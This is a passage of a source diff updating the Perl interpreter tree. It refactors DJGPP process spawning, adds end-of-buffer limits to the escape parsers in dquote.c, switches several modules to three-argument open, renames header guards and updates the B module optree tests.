+ char **argv,**a,*s,*shell,*metachars;
+ int rc,unixysh,result;
+ ENTER;
if ((shell=getenv("SHELL"))==NULL && (shell=getenv("COMSPEC"))==NULL)
shell="c:\\command.com" EXTRA;
@@ -162,7 +163,7 @@ do_spawn2 (pTHX_ char *cmd,int execf)
while (*cmd && isSPACE(*cmd))
cmd++;
- if (strnEQ (cmd,"/bin/sh",7) && isSPACE (cmd[7]))
+ if (strBEGINs (cmd,"/bin/sh") && isSPACE (cmd[7]))
cmd+=5;
/* save an extra exec if possible */
@@ -173,7 +174,7 @@ do_spawn2 (pTHX_ char *cmd,int execf)
{
if (*cmd=='.' && isSPACE (cmd[1]))
goto doshell;
- if (strnEQ (cmd,"exec",4) && isSPACE (cmd[4]))
+ if (strBEGINs (cmd,"exec") && isSPACE (cmd[4]))
goto doshell;
for (s=cmd; *s && isALPHA (*s); s++) ; /* catch VAR=val gizmo */
if (*s=='=')
@@ -189,14 +190,18 @@ do_spawn2 (pTHX_ char *cmd,int execf)
}
doshell:
if (execf==EXECF_EXEC)
- return convretcode (execl (shell,shell,unixysh ? "-c" : "/c",cmd,NULL),cmd,execf);
- return convretcode (system (cmd),cmd,execf);
+ result = convretcode (execl (shell,shell,unixysh ? "-c" : "/c",cmd,NULL),cmd,execf);
+ else
+ result = convretcode (system (cmd),cmd,execf);
+ goto leave;
}
- Newx (PL_Argv,(s-cmd)/2+2,char*);
- PL_Cmd=savepvn (cmd,s-cmd);
- a=PL_Argv;
- for (s=PL_Cmd; *s;) {
+ Newx (argv,(s-cmd)/2+2,char*);
+ SAVEFREEPV(argv);
+ cmd=savepvn (cmd,s-cmd);
+ SAVEFREEPV(cmd);
+ a=argv;
+ for (s=cmd; *s;) {
while (*s && isSPACE (*s)) s++;
if (*s)
*(a++)=s;
@@ -205,14 +210,19 @@ doshell:
*s++='\0';
}
*a=NULL;
- if (!PL_Argv[0])
- return -1;
+ if (!argv[0]) {
+ result = -1;
+ goto leave;
+ }
if (execf==EXECF_EXEC)
- rc=execvp (PL_Argv[0],PL_Argv);
+ rc=execvp (argv[0],argv);
else
- rc=spawnvp (P_WAIT,PL_Argv[0],PL_Argv);
- return convretcode (rc,PL_Argv[0],execf);
+ rc=spawnvp (P_WAIT,argv[0],argv);
+ result = convretcode (rc,argv[0],execf);
+leave:
+ LEAVE;
+ return result;
}
int
@@ -265,7 +275,7 @@ glob_handler (__FSEXT_Fnumber n,int *rv,va_list args)
STRLEN len;
glob_t pglob;
- if (strnNE (name,"/dev/dosglob/",13))
+ if (! strBEGINs (name,"/dev/dosglob/"))
break;
if ((gi=searchfd (-1)) == NULL)
break;
diff --git a/gnu/usr.bin/perl/djgpp/fixpmain b/gnu/usr.bin/perl/djgpp/fixpmain
index 8ebbf78623d..9ff2ad620cc 100644
--- a/gnu/usr.bin/perl/djgpp/fixpmain
+++ b/gnu/usr.bin/perl/djgpp/fixpmain
@@ -5,8 +5,8 @@
use Config;
-open (PERLM,"<perlmain.c") or die "Can't load perlmain.c: $!";
-open (MAKEFILE,"<makefile.pl") or die "Can't load makefile.pl: $!";
+open (PERLM, '<', 'perlmain.c') or die "Can't load perlmain.c: $!";
+open (MAKEFILE, '<', 'makefile.pl') or die "Can't load makefile.pl: $!";
undef $/;
$perlmain=<PERLM>;
$makefile=<MAKEFILE>;
@@ -29,5 +29,5 @@ for $realname (@exts)
#DynaLoader is special
$perlmain =~ s/(DynaLoader:\:boot)strap/$1_DynaLoader/gm;
-open (PERLM,">perlmain.c") or die "Can't write perlmain.c: $!";
+open (PERLM, '>', 'perlmain.c') or die "Can't write perlmain.c: $!";
print PERLM $perlmain;
diff --git a/gnu/usr.bin/perl/dquote.c b/gnu/usr.bin/perl/dquote.c
index e02308e7ac7..6913ca5ce48 100644
--- a/gnu/usr.bin/perl/dquote.c
+++ b/gnu/usr.bin/perl/dquote.c
@@ -56,7 +56,8 @@ Perl_grok_bslash_c(pTHX_ const char source, const bool output_warning)
}
bool
-Perl_grok_bslash_o(pTHX_ char **s, UV *uv, const char** error_msg,
+Perl_grok_bslash_o(pTHX_ char **s, const char * const send, UV *uv,
+ const char** error_msg,
const bool output_warning, const bool strict,
const bool silence_non_portable,
const bool UTF)
@@ -68,13 +69,16 @@ Perl_grok_bslash_o(pTHX_ char **s, UV *uv, const char** error_msg,
* It guarantees that the returned codepoint, *uv, when expressed as
* utf8 bytes, would fit within the skipped "\o{...}" bytes.
* On input:
- * s is the address of a pointer to a NULL terminated string that begins
- * with 'o', and the previous character was a backslash. At exit, *s
- * will be advanced to the byte just after those absorbed by this
- * function. Hence the caller can continue parsing from there. In
- * the case of an error, this routine has generally positioned *s to
- * point just to the right of the first bad spot, so that a message
- * that has a "<--" to mark the spot will be correctly positioned.
+ * s is the address of a pointer to a string. **s is 'o', and the
+ * previous character was a backslash. At exit, *s will be advanced
+ * to the byte just after those absorbed by this function. Hence the
+ * caller can continue parsing from there. In the case of an error,
+ * this routine has generally positioned *s to point just to the right
+ * of the first bad spot, so that a message that has a "<--" to mark
+ * the spot will be correctly positioned.
+ * send - 1 gives a limit in *s that this function is not permitted to
+ * look beyond. That is, the function may look at bytes only in the
+ * range *s..send-1
* uv points to a UV that will hold the output value, valid only if the
* return from the function is TRUE
* error_msg is a pointer that will be set to an internal buffer giving an
@@ -96,15 +100,10 @@ Perl_grok_bslash_o(pTHX_ char **s, UV *uv, const char** error_msg,
* ourselves */
| PERL_SCAN_SILENT_ILLDIGIT;
-#ifdef DEBUGGING
- char *start = *s - 1;
- assert(*start == '\\');
-#endif
-
PERL_ARGS_ASSERT_GROK_BSLASH_O;
-
- assert(**s == 'o');
+ assert(*(*s - 1) == '\\');
+ assert(* *s == 'o');
(*s)++;
if (**s != '{') {
@@ -112,7 +111,7 @@ Perl_grok_bslash_o(pTHX_ char **s, UV *uv, const char** error_msg,
return FALSE;
}
- e = strchr(*s, '}');
+ e = (char *) memchr(*s, '}', send - *s);
if (!e) {
(*s)++; /* Move past the '{' */
while (isOCTAL(**s)) { /* Position beyond the legal digits */
@@ -163,7 +162,8 @@ Perl_grok_bslash_o(pTHX_ char **s, UV *uv, const char** error_msg,
}
bool
-Perl_grok_bslash_x(pTHX_ char **s, UV *uv, const char** error_msg,
+Perl_grok_bslash_x(pTHX_ char **s, const char * const send, UV *uv,
+ const char** error_msg,
const bool output_warning, const bool strict,
const bool silence_non_portable,
const bool UTF)
@@ -176,13 +176,16 @@ Perl_grok_bslash_x(pTHX_ char **s, UV *uv, const char** error_msg,
* utf8 bytes, would fit within the skipped "\x{...}" bytes.
*
* On input:
- * s is the address of a pointer to a NULL terminated string that begins
- * with 'x', and the previous character was a backslash. At exit, *s
- * will be advanced to the byte just after those absorbed by this
- * function. Hence the caller can continue parsing from there. In
- * the case of an error, this routine has generally positioned *s to
- * point just to the right of the first bad spot, so that a message
- * that has a "<--" to mark the spot will be correctly positioned.
+ * s is the address of a pointer to a string. **s is 'x', and the
+ * previous character was a backslash. At exit, *s will be advanced
+ * to the byte just after those absorbed by this function. Hence the
+ * caller can continue parsing from there. In the case of an error,
+ * this routine has generally positioned *s to point just to the right
+ * of the first bad spot, so that a message that has a "<--" to mark
+ * the spot will be correctly positioned.
+ * send - 1 gives a limit in *s that this function is not permitted to
+ * look beyond. That is, the function may look at bytes only in the
+ * range *s..send-1
* uv points to a UV that will hold the output value, valid only if the
* return from the function is TRUE
* error_msg is a pointer that will be set to an internal buffer giving an
@@ -201,14 +204,12 @@ Perl_grok_bslash_x(pTHX_ char **s, UV *uv, const char** error_msg,
char* e;
STRLEN numbers_len;
I32 flags = PERL_SCAN_DISALLOW_PREFIX;
-#ifdef DEBUGGING
- char *start = *s - 1;
- assert(*start == '\\');
-#endif
+
PERL_ARGS_ASSERT_GROK_BSLASH_X;
- assert(**s == 'x');
+ assert(*(*s - 1) == '\\');
+ assert(* *s == 'x');
(*s)++;
if (strict || ! output_warning) {
@@ -233,7 +234,7 @@ Perl_grok_bslash_x(pTHX_ char **s, UV *uv, const char** error_msg,
return TRUE;
}
- e = strchr(*s, '}');
+ e = (char *) memchr(*s, '}', send - *s);
if (!e) {
(*s)++; /* Move past the '{' */
while (isXDIGIT(**s)) { /* Position beyond the legal digits */
diff --git a/gnu/usr.bin/perl/dquote_inline.h b/gnu/usr.bin/perl/dquote_inline.h
index 1c7694d89f3..f0ce9d6280e 100644
--- a/gnu/usr.bin/perl/dquote_inline.h
+++ b/gnu/usr.bin/perl/dquote_inline.h
@@ -6,8 +6,8 @@
* License or the Artistic License, as specified in the README file.
*/
-#ifndef DQUOTE_INLINE_H /* Guard against nested #inclusion */
-#define DQUOTE_INLINE_H
+#ifndef PERL_DQUOTE_INLINE_H_ /* Guard against nested #inclusion */
+#define PERL_DQUOTE_INLINE_H_
/*
- regcurly - a little FSA that accepts {\d+,?\d*}
@@ -64,4 +64,4 @@ S_form_short_octal_warning(pTHX_
(int) (s - sans_leading_zeros), sans_leading_zeros,
*s);
}
-#endif /* DQUOTE_INLINE_H */
+#endif /* PERL_DQUOTE_INLINE_H_ */
diff --git a/gnu/usr.bin/perl/ebcdic_tables.h b/gnu/usr.bin/perl/ebcdic_tables.h
index c36ab961f0b..69ab372d110 100644
--- a/gnu/usr.bin/perl/ebcdic_tables.h
+++ b/gnu/usr.bin/perl/ebcdic_tables.h
@@ -5,8 +5,8 @@
*/
-#ifndef H_EBCDIC_TABLES /* Guard against nested #includes */
-#define H_EBCDIC_TABLES 1
+#ifndef PERL_EBCDIC_TABLES_H_ /* Guard against nested #includes */
+#define PERL_EBCDIC_TABLES_H_ 1
/* This file contains definitions for various tables used in EBCDIC handling.
* More info is in utfebcdic.h */
@@ -437,6 +437,6 @@ EXTCONST U8 PL_fold_latin1[] = {
#endif /* EBCDIC 037 */
-#endif /* H_EBCDIC_TABLES */
+#endif /* PERL_EBCDIC_TABLES_H_ */
/* ex: set ro: */
diff --git a/gnu/usr.bin/perl/ext/B/B/Terse.pm b/gnu/usr.bin/perl/ext/B/B/Terse.pm
index 8e551c5a62f..681112e9041 100644
--- a/gnu/usr.bin/perl/ext/B/B/Terse.pm
+++ b/gnu/usr.bin/perl/ext/B/B/Terse.pm
@@ -1,6 +1,6 @@
package B::Terse;
-our $VERSION = '1.06';
+our $VERSION = '1.08';
use strict;
use B qw(class @specialsv_name);
@@ -30,12 +30,6 @@ sub indent {
return " " x $level;
}
-# Don't use this, at least on OPs in subroutines: it has no way of
-# getting to the pad, and will give wrong answers or crash.
-sub B::OP::terse {
- carp "B::OP::terse is deprecated; use B::Concise instead";
- B::Concise::b_terse(@_);
-}
sub B::SV::terse {
my($sv, $level) = (@_, 0);
diff --git a/gnu/usr.bin/perl/ext/B/B/Xref.pm b/gnu/usr.bin/perl/ext/B/B/Xref.pm
index 8beb243f71f..000790a2694 100644
--- a/gnu/usr.bin/perl/ext/B/B/Xref.pm
+++ b/gnu/usr.bin/perl/ext/B/B/Xref.pm
@@ -1,6 +1,6 @@
package B::Xref;
-our $VERSION = '1.05';
+our $VERSION = '1.07';
=head1 NAME
@@ -143,7 +143,7 @@ Malcolm Beattie, mbeattie@sable.ox.ac.uk.
use strict;
use Config;
use B qw(peekop class comppadlist main_start svref_2object walksymtable
- OPpLVAL_INTRO SVf_POK OPpOUR_INTRO cstring
+ OPpLVAL_INTRO SVf_POK SVf_ROK OPpOUR_INTRO cstring
);
sub UNKNOWN { ["?", "?", "?"] }
@@ -331,7 +331,13 @@ sub pp_gv {
}
else {
$gv = $op->gv;
- $top = [$gv->STASH->NAME, "*", $gv->SAFENAME];
+ if ($gv->FLAGS & SVf_ROK) { # sub ref
+ my $cv = $gv->RV;
+ $top = [$cv->STASH->NAME, '*', B::safename($cv->NAME_HEK)]
+ }
+ else {
+ $top = [$gv->STASH->NAME, '*', $gv->SAFENAME];
+ }
}
process($top, $op->private & OPpLVAL_INTRO ? "intro" : "used");
}
@@ -449,7 +455,7 @@ sub compile {
last OPTION;
} elsif ($opt eq "o") {
$arg ||= shift @options;
- open(STDOUT, ">$arg") or return "$arg: $!\n";
+ open(STDOUT, '>', $arg) or return "$arg: $!\n";
} elsif ($opt eq "d") {
$nodefs = 1;
} elsif ($opt eq "r") {
diff --git a/gnu/usr.bin/perl/ext/B/O.pm b/gnu/usr.bin/perl/ext/B/O.pm
index 2976a894208..81c879835bc 100644
--- a/gnu/usr.bin/perl/ext/B/O.pm
+++ b/gnu/usr.bin/perl/ext/B/O.pm
@@ -1,16 +1,18 @@
package O;
-our $VERSION = '1.01';
+our $VERSION = '1.03';
-use B qw(minus_c save_BEGINs);
-use Carp;
+use B ();
+
+our $BEGIN_output;
+our $saveout_fh;
sub import {
my ($class, @options) = @_;
my ($quiet, $veryquiet) = (0, 0);
if ($options[0] eq '-q' || $options[0] eq '-qq') {
$quiet = 1;
- open (SAVEOUT, ">&STDOUT");
+ open ($saveout_fh, ">&", STDOUT);
close STDOUT;
open (STDOUT, ">", \$O::BEGIN_output);
if ($options[0] eq '-qq') {
@@ -21,15 +23,15 @@ sub import {
my $backend = shift (@options);
eval q[
BEGIN {
- minus_c;
- save_BEGINs;
+ B::minus_c;
+ B::save_BEGINs;
}
CHECK {
if ($quiet) {
close STDOUT;
- open (STDOUT, ">&SAVEOUT");
- close SAVEOUT;
+ open (STDOUT, ">&", $saveout_fh);
+ close $saveout_fh;
}
# Note: if you change the code after this 'use', please
@@ -37,10 +39,6 @@ sub import {
# "fragile kludge") so that its output still looks
# nice. Thanks. --smcc
use B::].$backend.q[ ();
- if ($@) {
- croak "use of backend $backend failed: $@";
- }
-
my $compilesub = &{"B::${backend}::compile"}(@options);
if (ref($compilesub) ne "CODE") {
@@ -54,7 +52,11 @@ sub import {
close STDERR if $veryquiet;
}
];
- die $@ if $@;
+ if ($@) {
+ my $msg = "$@";
+ require Carp;
+ Carp::croak("Loading compiler backend 'B::$backend' failed: $msg");
+ }
}
1;
diff --git a/gnu/usr.bin/perl/ext/B/t/f_sort b/gnu/usr.bin/perl/ext/B/t/f_sort
index 759523bb70f..75e8f105964 100644
--- a/gnu/usr.bin/perl/ext/B/t/f_sort
+++ b/gnu/usr.bin/perl/ext/B/t/f_sort
@@ -68,10 +68,6 @@ sub other::backwards ($$) { $_[1] cmp $_[0]; }
use sort 'stable';
@new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old;
-# force use of mergesort (not portable outside Perl 5.8)
-use sort '_mergesort';
-@new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old;
-
# you should have a good reason to do this!
@articles = sort {$FooPack::b <=> $FooPack::a} @files;
diff --git a/gnu/usr.bin/perl/ext/B/t/optree_constants.t b/gnu/usr.bin/perl/ext/B/t/optree_constants.t
index 865eed1df06..a8073164dbc 100644
--- a/gnu/usr.bin/perl/ext/B/t/optree_constants.t
+++ b/gnu/usr.bin/perl/ext/B/t/optree_constants.t
@@ -16,10 +16,21 @@ BEGIN {
use OptreeCheck; # ALSO DOES @ARGV HANDLING !!!!!!
use Config;
-plan tests => 67;
+plan tests => 99;
#################################
+my sub lleexx {}
+sub tsub0 {}
+sub tsub1 {} $tsub1 = 1;
+sub t::tsub2 {}
+sub t::tsub3 {} $tsub3 = 1;
+{
+ package t;
+ sub tsub4 {}
+ sub tsub5 {} $tsub5 = 1;
+}
+
use constant { # see also t/op/gv.t line 358
myaref => [ 1,2,3 ],
myfl => 1.414213,
@@ -31,32 +42,42 @@ use constant { # see also t/op/gv.t line 358
mysub => \&ok,
myundef => undef,
myunsub => \&nosuch,
+ myanonsub => sub {},
+ mylexsub => \&lleexx,
+ tsub0 => \&tsub0,
+ tsub1 => \&tsub1,
+ tsub2 => \&t::tsub2,
+ tsub3 => \&t::tsub3,
+ tsub4 => \&t::tsub4,
+ tsub5 => \&t::tsub5,
};
sub myyes() { 1==1 }
sub myno () { return 1!=1 }
sub pi () { 3.14159 };
-my $RV_class = $] >= 5.011 ? 'IV' : 'RV';
-
my $want = { # expected types, how value renders in-line, todos (maybe)
mystr => [ 'PV', '"'.mystr.'"' ],
- myhref => [ $RV_class, '\\\\HASH'],
+ myhref => [ 'IV', '\\\\HASH'],
pi => [ 'NV', pi ],
- myglob => [ $RV_class, '\\\\' ],
- mysub => [ $RV_class, '\\\\' ],
- myunsub => [ $RV_class, '\\\\' ],
+ myglob => [ 'IV', '\\\\' ],
+ mysub => [ 'IV', '\\\\&main::ok' ],
+ myunsub => [ 'IV', '\\\\&main::nosuch' ],
+ myanonsub => [ 'IV', '\\\\CODE' ],
+ mylexsub => [ 'IV', '\\\\&lleexx' ],
+ tsub0 => [ 'IV', '\\\\&main::tsub0' ],
+ tsub1 => [ 'IV', '\\\\&main::tsub1' ],
+ tsub2 => [ 'IV', '\\\\&t::tsub2' ],
+ tsub3 => [ 'IV', '\\\\&t::tsub3' ],
+ tsub4 => [ 'IV', '\\\\&t::tsub4' ],
+ tsub5 => [ 'IV', '\\\\&t::tsub5' ],
# these are not inlined, at least not per BC::Concise
- #myyes => [ $RV_class, ],
- #myno => [ $RV_class, ],
- myaref => [ $RV_class, '\\\\' ],
+ #myyes => [ 'IV', ],
+ #myno => [ 'IV', ],
+ myaref => [ 'IV', '\\\\ARRAY' ],
myfl => [ 'NV', myfl ],
myint => [ 'IV', myint ],
- $] >= 5.011 ? (
- myrex => [ $RV_class, '\\\\"\\(?^:Foo\\)"' ],
- ) : (
- myrex => [ $RV_class, '\\\\' ],
- ),
+ myrex => [ 'IV', '\\\\"\\(?^:Foo\\)"' ],
myundef => [ 'NULL', ],
};
@@ -102,14 +123,12 @@ for $func (sort keys %$want) {
3 <1> leavesub[2 refs] K/REFC,1 ->(end)
- <\@> lineseq KP ->3
1 <;> dbstate(main 833 (eval 44):1) v ->2
-2 <\$> const[$want->{$func}[0] $want->{$func}[1]] s* ->3 < 5.017002
-2 <\$> const[$want->{$func}[0] $want->{$func}[1]] s*/FOLD ->3 >=5.017002
+2 <\$> const[$want->{$func}[0] $want->{$func}[1]] s*/FOLD ->3
EOT_EOT
3 <1> leavesub[2 refs] K/REFC,1 ->(end)
- <\@> lineseq KP ->3
1 <;> dbstate(main 833 (eval 44):1) v ->2
-2 <\$> const($want->{$func}[0] $want->{$func}[1]) s* ->3 < 5.017002
-2 <\$> const($want->{$func}[0] $want->{$func}[1]) s*/FOLD ->3 >=5.017002
+2 <\$> const($want->{$func}[0] $want->{$func}[1]) s*/FOLD ->3
EONT_EONT
}
@@ -137,16 +156,14 @@ checkOptree ( name => 'myyes() as coderef',
# 2 <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3
# 5 <@> print vK ->6
# 3 <0> pushmark s ->4
-# 4 <$> const[SPECIAL sv_yes] s* ->5 < 5.017002
-# 4 <$> const[SPECIAL sv_yes] s*/FOLD ->5 >=5.017002
+# 4 <$> const[SPECIAL sv_yes] s*/FOLD ->5
EOT_EOT
# 6 <@> leave[1 ref] vKP/REFC ->(end)
# 1 <0> enter ->2
# 2 <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3
# 5 <@> print vK ->6
# 3 <0> pushmark s ->4
-# 4 <$> const(SPECIAL sv_yes) s* ->5 < 5.017002
-# 4 <$> const(SPECIAL sv_yes) s*/FOLD ->5 >=5.017002
+# 4 <$> const(SPECIAL sv_yes) s*/FOLD ->5
EONT_EONT
@@ -163,33 +180,18 @@ checkOptree ( name => 'myno() as coderef',
# 2 <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3
# 5 <@> print vK ->6
# 3 <0> pushmark s ->4
-# 4 <$> const[SPECIAL sv_no] s* ->5 < 5.017002
-# 4 <$> const[SPECIAL sv_no] s*/FOLD ->5 >=5.017002
+# 4 <$> const[SPECIAL sv_no] s*/FOLD ->5
EOT_EOT
# 6 <@> leave[1 ref] vKP/REFC ->(end)
# 1 <0> enter ->2
# 2 <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3
# 5 <@> print vK ->6
# 3 <0> pushmark s ->4
-# 4 <$> const(SPECIAL sv_no) s* ->5 < 5.017002
-# 4 <$> const(SPECIAL sv_no) s*/FOLD ->5 >=5.017002
+# 4 <$> const(SPECIAL sv_no) s*/FOLD ->5
EONT_EONT
-my ($expect, $expect_nt) =
- $] >= 5.019003
- ? (" is a constant sub, optimized to a AV\n") x 2
- : (<<'EOT_EOT', <<'EONT_EONT');
-# 3 <1> leavesub[2 refs] K/REFC,1 ->(end)
-# - <@> lineseq K ->3
-# 1 <;> nextstate(constant 61 constant.pm:118) v:*,&,x*,x&,x$ ->2
-# 2 <0> padav[@list:FAKE:m:96] ->3
-EOT_EOT
-# 3 <1> leavesub[2 refs] K/REFC,1 ->(end)
-# - <@> lineseq K ->3
-# 1 <;> nextstate(constant 61 constant.pm:118) v:*,&,x*,x&,x$ ->2
-# 2 <0> padav[@list:FAKE:m:71] ->3
-EONT_EONT
+my ($expect, $expect_nt) = (" is a constant sub, optimized to a AV\n") x 2;
checkOptree ( name => 'constant sub returning list',
@@ -210,14 +212,10 @@ my ($expect, $expect_nt) = (<<'EOT_EOT', <<'EONT_EONT');
# 8 <@> prtf sK ->9
# 2 <0> pushmark sM ->3
# 3 <$> const[PV "myint %d mystr %s myfl %f pi %f\n"] sM/FOLD ->4
-# 4 <$> const[IV 42] sM* ->5 < 5.017002
-# 5 <$> const[PV "hithere"] sM* ->6 < 5.017002
-# 6 <$> const[NV 1.414213] sM* ->7 < 5.017002
-# 7 <$> const[NV 3.14159] sM* ->8 < 5.017002
-# 4 <$> const[IV 42] sM*/FOLD ->5 >=5.017002
-# 5 <$> const[PV "hithere"] sM*/FOLD ->6 >=5.017002
-# 6 <$> const[NV 1.414213] sM*/FOLD ->7 >=5.017002
-# 7 <$> const[NV 3.14159] sM*/FOLD ->8 >=5.017002
+# 4 <$> const[IV 42] sM*/FOLD ->5
+# 5 <$> const[PV "hithere"] sM*/FOLD ->6
+# 6 <$> const[NV 1.414213] sM*/FOLD ->7
+# 7 <$> const[NV 3.14159] sM*/FOLD ->8
EOT_EOT
# 9 <1> leavesub[1 ref] K/REFC,1 ->(end)
# - <@> lineseq KP ->9
@@ -225,22 +223,13 @@ EOT_EOT
# 8 <@> prtf sK ->9
# 2 <0> pushmark sM ->3
# 3 <$> const(PV "myint %d mystr %s myfl %f pi %f\n") sM/FOLD ->4
-# 4 <$> const(IV 42) sM* ->5 < 5.017002
-# 5 <$> const(PV "hithere") sM* ->6 < 5.017002
-# 6 <$> const(NV 1.414213) sM* ->7 < 5.017002
-# 7 <$> const(NV 3.14159) sM* ->8 < 5.017002
-# 4 <$> const(IV 42) sM*/FOLD ->5 >=5.017002
-# 5 <$> const(PV "hithere") sM*/FOLD ->6 >=5.017002
-# 6 <$> const(NV 1.414213) sM*/FOLD ->7 >=5.017002
-# 7 <$> const(NV 3.14159) sM*/FOLD ->8 >=5.017002
+# 4 <$> const(IV 42) sM*/FOLD ->5
+# 5 <$> const(PV "hithere") sM*/FOLD ->6
+# 6 <$> const(NV 1.414213) sM*/FOLD ->7
+# 7 <$> const(NV 3.14159) sM*/FOLD ->8
EONT_EONT
-if($] < 5.015) {
- s/M(?=\*? ->)//g for $expect, $expect_nt;
-}
-if($] < 5.017002 || $] >= 5.019004) {
- s|\\n"[])] sM\K/FOLD|| for $expect, $expect_nt;
-}
+s|\\n"[])] sM\K/FOLD|| for $expect, $expect_nt;
checkOptree ( name => 'call many in a print statement',
code => \&printem,
@@ -258,16 +247,14 @@ checkOptree ( name => 'arithmetic constant folding in print',
# 1 <;> nextstate(main 937 (eval 53):1) v ->2
# 4 <@> print sK ->5
# 2 <0> pushmark s ->3
-# 3 <$> const[IV 6] s ->4 < 5.017002
-# 3 <$> const[IV 6] s/FOLD ->4 >=5.017002
+# 3 <$> const[IV 6] s/FOLD ->4
EOT_EOT
# 5 <1> leavesub[1 ref] K/REFC,1 ->(end)
# - <@> lineseq KP ->5
# 1 <;> nextstate(main 937 (eval 53):1) v ->2
# 4 <@> print sK ->5
# 2 <0> pushmark s ->3
-# 3 <$> const(IV 6) s ->4 < 5.017002
-# 3 <$> const(IV 6) s/FOLD ->4 >=5.017002
+# 3 <$> const(IV 6) s/FOLD ->4
EONT_EONT
checkOptree ( name => 'string constant folding in print',
@@ -279,16 +266,14 @@ checkOptree ( name => 'string constant folding in print',
# 1 <;> nextstate(main 942 (eval 55):1) v ->2
# 4 <@> print sK ->5
# 2 <0> pushmark s ->3
-# 3 <$> const[PV "foobar"] s ->4 < 5.017002
-# 3 <$> const[PV "foobar"] s/FOLD ->4 >=5.017002
+# 3 <$> const[PV "foobar"] s/FOLD ->4
EOT_EOT
# 5 <1> leavesub[1 ref] K/REFC,1 ->(end)
# - <@> lineseq KP ->5
# 1 <;> nextstate(main 942 (eval 55):1) v ->2
# 4 <@> print sK ->5
# 2 <0> pushmark s ->3
-# 3 <$> const(PV "foobar") s ->4 < 5.017002
-# 3 <$> const(PV "foobar") s/FOLD ->4 >=5.017002
+# 3 <$> const(PV "foobar") s/FOLD ->4
EONT_EONT
checkOptree ( name => 'boolean or folding',
@@ -298,16 +283,14 @@ checkOptree ( name => 'boolean or folding',
# 5 <1> leavesub[1 ref] K/REFC,1 ->(end)
# - <@> lineseq KP ->5
# 1 <;> nextstate(main 942 (eval 55):1) v ->2
-# 4 <@> print sK ->5 < 5.019004
-# 4 <@> print sK/FOLD ->5 >=5.019004
+# 4 <@> print sK/FOLD ->5
# 2 <0> pushmark s ->3
# 3 <$> const[PV "foobar"] s ->4
EOT_EOT
# 5 <1> leavesub[1 ref] K/REFC,1 ->(end)
# - <@> lineseq KP ->5
# 1 <;> nextstate(main 942 (eval 55):1) v ->2
-# 4 <@> print sK ->5 < 5.019004
-# 4 <@> print sK/FOLD ->5 >=5.019004
+# 4 <@> print sK/FOLD ->5
# 2 <0> pushmark s ->3
# 3 <$> const(PV "foobar") s ->4
EONT_EONT
@@ -328,76 +311,61 @@ checkOptree ( name => 'lc*,uc*,gt,lt,ge,le,cmp',
# - <@> lineseq KP ->r
# 1 <;> nextstate(main 916 optree_constants.t:307) v:>,<,%,{ ->2
# 4 <2> sassign vKS/2 ->5
-# 2 <$> const[PV "FOO.Bar.low.lOW"] s ->3 < 5.017002
-# 2 <$> const[PV "FOO.Bar.low.lOW"] s/FOLD ->3 >=5.017002
+# 2 <$> const[PV "FOO.Bar.low.lOW"] s/FOLD ->3
# - <1> ex-rv2sv sKRM*/1 ->4
# 3 <#> gvsv[*s] s ->4
# 5 <;> nextstate(main 916 optree_constants.t:308) v:>,<,%,{ ->6
-# 8 <@> print vK ->9 < 5.019004
-# 8 <@> print vK/FOLD ->9 >=5.019004
+# 8 <@> print vK/FOLD ->9
# 6 <0> pushmark s ->7
# 7 <$> const[PV "a-lt-b"] s ->8
# 9 <;> nextstate(main 916 optree_constants.t:309) v:>,<,%,{ ->a
-# c <@> print vK ->d < 5.019004
-# c <@> print vK/FOLD ->d >=5.019004
+# c <@> print vK/FOLD ->d
# a <0> pushmark s ->b
# b <$> const[PV "b-gt-a"] s ->c
# d <;> nextstate(main 916 optree_constants.t:310) v:>,<,%,{ ->e
-# g <@> print vK ->h < 5.019004
-# g <@> print vK/FOLD ->h >=5.019004
+# g <@> print vK/FOLD ->h
# e <0> pushmark s ->f
# f <$> const[PV "a-le-b"] s ->g
# h <;> nextstate(main 916 optree_constants.t:311) v:>,<,%,{ ->i
-# k <@> print vK ->l < 5.019004
-# k <@> print vK/FOLD ->l >=5.019004
+# k <@> print vK/FOLD ->l
# i <0> pushmark s ->j
# j <$> const[PV "b-ge-a"] s ->k
# l <;> nextstate(main 916 optree_constants.t:312) v:>,<,%,{ ->m
-# o <@> print vK ->p < 5.019004
-# o <@> print vK/FOLD ->p >=5.019004
+# o <@> print vK/FOLD ->p
# m <0> pushmark s ->n
# n <$> const[PV "b-cmp-a"] s ->o
# p <;> nextstate(main 916 optree_constants.t:313) v:>,<,%,{ ->q
-# q <$> const[PVNV 0] s/SHORT ->r < 5.017002
-# q <$> const[PVNV 0] s/FOLD,SHORT ->r >=5.017002 < 5.019003
-# q <$> const[SPECIAL sv_no] s/SHORT,FOLD ->r >=5.019003
+# q <$> const[SPECIAL sv_no] s/SHORT,FOLD ->r
EOT_EOT
# r <1> leavesub[1 ref] K/REFC,1 ->(end)
# - <@> lineseq KP ->r
# 1 <;> nextstate(main 916 optree_constants.t:307) v:>,<,%,{ ->2
# 4 <2> sassign vKS/2 ->5
-# 2 <$> const(PV "FOO.Bar.low.lOW") s ->3 < 5.017002
-# 2 <$> const(PV "FOO.Bar.low.lOW") s/FOLD ->3 >=5.017002
+# 2 <$> const(PV "FOO.Bar.low.lOW") s/FOLD ->3
# - <1> ex-rv2sv sKRM*/1 ->4
# 3 <$> gvsv(*s) s ->4
# 5 <;> nextstate(main 916 optree_constants.t:308) v:>,<,%,{ ->6
-# 8 <@> print vK ->9 < 5.019004
-# 8 <@> print vK/FOLD ->9 >=5.019004
+# 8 <@> print vK/FOLD ->9
# 6 <0> pushmark s ->7
# 7 <$> const(PV "a-lt-b") s ->8
# 9 <;> nextstate(main 916 optree_constants.t:309) v:>,<,%,{ ->a
-# c <@> print vK ->d < 5.019004
-# c <@> print vK/FOLD ->d >=5.019004
+# c <@> print vK/FOLD ->d
# a <0> pushmark s ->b
# b <$> const(PV "b-gt-a") s ->c
# d <;> nextstate(main 916 optree_constants.t:310) v:>,<,%,{ ->e
-# g <@> print vK ->h < 5.019004
-# g <@> print vK/FOLD ->h >=5.019004
+# g <@> print vK/FOLD ->h
# e <0> pushmark s ->f
# f <$> const(PV "a-le-b") s ->g
# h <;> nextstate(main 916 optree_constants.t:311) v:>,<,%,{ ->i
-# k <@> print vK ->l < 5.019004
-# k <@> print vK/FOLD ->l >=5.019004
+# k <@> print vK/FOLD ->l
